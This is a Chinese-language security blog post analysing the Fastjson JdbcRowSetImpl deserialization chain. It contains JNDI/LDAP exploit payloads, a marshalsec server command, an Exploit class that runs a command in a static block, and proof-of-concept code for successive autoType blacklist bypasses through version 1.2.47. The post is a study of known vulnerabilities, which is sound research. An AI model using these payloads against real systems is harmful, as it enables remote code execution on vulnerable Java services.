Java安全之FastJson JdbcRowSetImpl 鏈分析

nice_0e3發表於2021-05-17

Java安全之FastJson JdbcRowSetImpl 鏈分析

0x00 前言

續上文的Fastjson TemplatesImpl鏈分析,接著來學習JdbcRowSetImpl 利用鏈,JdbcRowSetImpl 的利用鏈在實際運用中較為廣泛,這個鏈基本沒啥限制條件,只需要Json.parse(input)即可進行命令執行。

0x01 漏洞分析

利用限制

首先來說說限制,基於JNDI+RMI或JDNI+LADP進行攻擊,會有一定的JDK版本限制。

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

攻擊流程

  1. 首先是這個lookup(URI)引數可控
  2. 攻擊者控制URI引數為指定為惡意的一個RMI服務
  3. 攻擊者RMI伺服器向目標返回一個Reference物件,Reference物件中指定某個精心構造的Factory類;
  4. 目標在進行lookup()操作時,會動態載入並例項化Factory類,接著呼叫factory.getObjectInstance()獲取外部遠端物件例項;
  5. 攻擊者可以在Factory類檔案的靜態程式碼塊處寫入惡意程式碼,達到RCE的效果;

JDNI注入細節

簡單分析一下lookup引數可控後,如何走到RCE.

呼叫鏈:

  • -> RegistryContext.decodeObject()
  • -> NamingManager.getObjectInstance()
  • -> factory.getObjectInstance()
  • -> NamingManager.getObjectFactoryFromReference()
  • -> helper.loadClass(factoryName);

loadclass進行例項化,觸發靜態程式碼塊的Runtime程式碼執行命令執行。

除錯分析

影響版本:fastjson <= 1.2.24

payload:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

從前文的TemplatesImpl鏈分析中得知FastJson在反序列化時會去呼叫get、set、is方法。

  • @type:目標反序列化類名;
  • dataSourceName:RMI註冊中心繫結惡意服務;
  • autoCommit:在Fastjson JdbcRowSetImpl鏈中反序列化時,會去呼叫setAutoCommit方法。

詳細分析fastjson如何解析可檢視Fastjson TemplatesImpl鏈分析文章,再次不做贅訴。

啟動LDAP服務端

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/#Exploit 1389

Exploit程式碼,需將程式碼編譯成class檔案然後掛在到web中

import java.io.IOException;

public class Exploit {
    public Exploit() {
    }
    static {
        try {
           
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC程式碼:

package com.nice0e3;

import com.alibaba.fastjson.JSON;

public class POC {
    public static void main(String[] args) {
//               String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/refObj\", \"autoCommit\":true}";
        String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

看到payload中的dataSourceName引數在解析時候則會呼叫setDataSourceNameDataSourceNamece變數進行賦值,來看到程式碼

autoCommit也一樣會呼叫setAutoCommit

setAutoCommit方法呼叫this.connect();

lookup中則是傳入了this.getDataSourceName(),返回dataSource變數內容。而這個dataSource內容則是在前面setDataSourceName方法中進行設定的,該引數是可控的。所以可以進行JDNI注入從而達到命令執行。

利用鏈

  • -> JdbcRowSetImpl.execute()
  • -> JdbcRowSetImpl.prepare()
  • -> JdbcRowSetImpl.connect()
  • -> InitialContext.lookup(dataSource)

而在Fastjson JdbcRowSetImpl 鏈利用中,則是利用了後半段。

0x02 繞過方式

1.2.25版本修復

先將Fastjson元件升級到1.2.25版本後進行傳送payload,檢視是否能夠利用成功。

修復改動:

  1. 自從1.2.25 起 autotype 預設為False
  2. 增加 checkAutoType 方法,在該方法中進行黑名單校驗,同時增加白名單機制

Fastjson AutoType說明

根據官方文件開啟AutoType的方式,假設不開啟該功能是無法進行反序列化的。因為預設白名單是空的,需要自定義。白名單的繞過基本不可能,都是從黑名單作為入口。白名單需要新增,而黑名單中則是內建在Fastjson中。

1、JVM啟動引數

-Dfastjson.parser.autoTypeSupport=true

2、程式碼中設定

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); 

下面來看程式碼,這裡使用了IDEA中的jar包對比功能

可以看到DefaultJSONParser傳送了變動,在這裡多了一個checkAutoType方法去做校驗。

跟進方法檢視

前面會進行白名單的校驗,如果匹配中的話呼叫loadClass載入,返回一個Class物件。 這裡預設白名單的列表為空。

後面這則是會惡意類的黑名單進行匹配,如果載入類的前面包含黑名單所定義的字元則丟擲異常。

1.2.25-1.2.41 繞過

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
    //ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String PoC = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }
}

先來除錯不開啟的情況,前面依舊就會遍歷黑名單對class進行賦值,但最後這個會去檢測如果未開啟,則直接拋異常,開啟則會去返回。

將註釋開啟後,則直接返回class

命令執行成功。但是可以看到前面的class是Lcom.sun.rowset.JdbcRowSetImpl為什麼也會觸發命令執行?

原因在於com.alibaba.fastjson.parser#TypeUtils.loadClass(typeName, this.defaultClassLoader);方法中,可跟進檢視。

這裡解析到內容如果為L開頭,;結尾的話就會將這2個字元清空,前面其實還有一個[

1.2.42 修復方式

修復改動:明文黑名單改為HASH值,checkcheckAutoType方法新增L;字元過濾。

加密方法位於com.alibaba.fastjson.util.TypeUtils#fnv1a_64可將進行碰撞獲取值。

1.2.42繞過方式

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";
        JSON.parse(PoC);
    }

}

com.alibaba.fastjson.parser#checkcheckAutoType中將L;進行清空。這裡是利用了雙寫的方式,前面的規則將第一組L;,進行清空,而在TypeUtils.loadclass中將第二組內容清空。

1.2.43 修復方式

在1.2.43版本中對了LL開頭的繞過進行了封堵

//hash計算基礎引數            long BASIC = -3750763034362895579L;            long PRIME = 1099511628211L;            //L開頭,;結尾            if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {                //LL開頭                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {                                      throw new JSONException("autoType is not support. " + typeName);                }                className = className.substring(1, className.length() - 1);            }

再次執行poc程式碼可以看到報錯了。

Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. LLcom.sun.rowset.JdbcRowSetImpl;;	at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:914)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:311)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

1.2.43 繞過方式

前面可以看到[也進行了清空,可以從該地方進行入手。

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

執行報錯了,報錯資訊如下:

Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 44, fastjson-version 1.2.43	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:451)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:1261)	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:267)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseArray(DefaultJSONParser.java:729)	at com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze(ObjectArrayCodec.java:183)	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:373)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1338)	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1304)	at com.alibaba.fastjson.JSON.parse(JSON.java:152)	at com.alibaba.fastjson.JSON.parse(JSON.java:162)	at com.alibaba.fastjson.JSON.parse(JSON.java:131)	at com.nice0e3.POC.main(POC.java:12)

提示缺少了一個{

public class POC {    public static void main(String[] args) {        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);        String PoC = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\", \"autoCommit\":true}";        JSON.parse(PoC);    }}

1.2.44 修復方式

[進行限制,具體實現可自行檢視。

再次執行前面的poc程式碼可以看到報錯了。

1.2.45繞過方式

利用條件需要目標服務端存在mybatis的jar包,且版本需為3.x.x系列<3.5.0的版本。

public class POC {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

        String PoC = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://127.0.0.1:1389/Exploit\"}}";
        JSON.parse(PoC);
    }

}

下面來分析一下使用這個payload為什麼能繞過。其實是藉助了org.apache.ibatis.datasource.jndi.JndiDataSourceFactory進行繞過,org.apache.ibatis.datasource.jndi.JndiDataSourceFactory並不在黑名單中。

這裡是對反序列化後的物件是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

傳入properties引數,則會去自動呼叫setProperties

而在1.2.46無法執行成功,應該是對該類拉入了黑名單中。

1.2.25-1.2.47通殺

為什麼說這裡標註為通殺呢,其實這裡和前面的繞過方式不太一樣,這裡是可以直接繞過AutoTypeSupport,即便關閉AutoTypeSupport也能直接執行成功。

先來看payload

public class POC {    public static void main(String[] args) {              String PoC = "{\n" +                "    \"a\":{\n" +                "        \"@type\":\"java.lang.Class\",\n" +                "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +                "    },\n" +                "    \"b\":{\n" +                "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +                "        \"dataSourceName\":\"ldap://localhost:1389/badNameClass\",\n" +                "        \"autoCommit\":true\n" +                "    }\n" +                "}";        JSON.parse(PoC);    }}

可以看到payload和前面的payload構造不太一樣,這裡來分析一下。

這裡未開啟AutoTypeSupport不會走到下面的黑白名單判斷。

fastjson會使用 checkAutoType 方法來檢測@type中攜帶的類,但這次我們傳入的是一個java.lang.class

來看到com.alibaba.fastjson.parser.DefaultJSONParser.class#parseObject方法中

跟進deserialze方法檢視,這裡的deserialzeMiscCodec#deserialze

上面程式碼會從objVal = parser.parse();獲取內容為com.sun.rowset.JdbcRowSetImpl。來看到下面

if (clazz == Class.class) {    return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());}

這裡使用了TypeUtils.loadClass函式載入了strVal,也就是JdbcRowSetlmpl,跟進發現會將其快取在map中。

這裡的true引數代表開啟快取,如果開啟將惡意類儲存到mapping中

斷點來到com.alibaba.fastjson.parser.DefaultJSONParser#checkAutoType

因為前面將com.sun.rowset.JdbcRowSetImpl所以這裡能獲取到com.sun.rowset.JdbcRowSetImpl該判斷不為true,從而繞過黑名單。

而後續則是和前面的一樣,通過dataSourceName觸發對於的set方法將dataSourceName變數進行設定,而後通過autoCommit,觸發setAutoCommit觸發lookup()達到命令執行。

參考文章

https://xz.aliyun.com/t/9052

https://xz.aliyun.com/t/7027

https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

http://wjlshare.com/archives/1526

0x03 結尾

其實後面還有幾個繞過的方式後面再去做分析,除此外還有一些BCEL來解決fastjson不出網回顯等方面都值得去思考和研究。

相關文章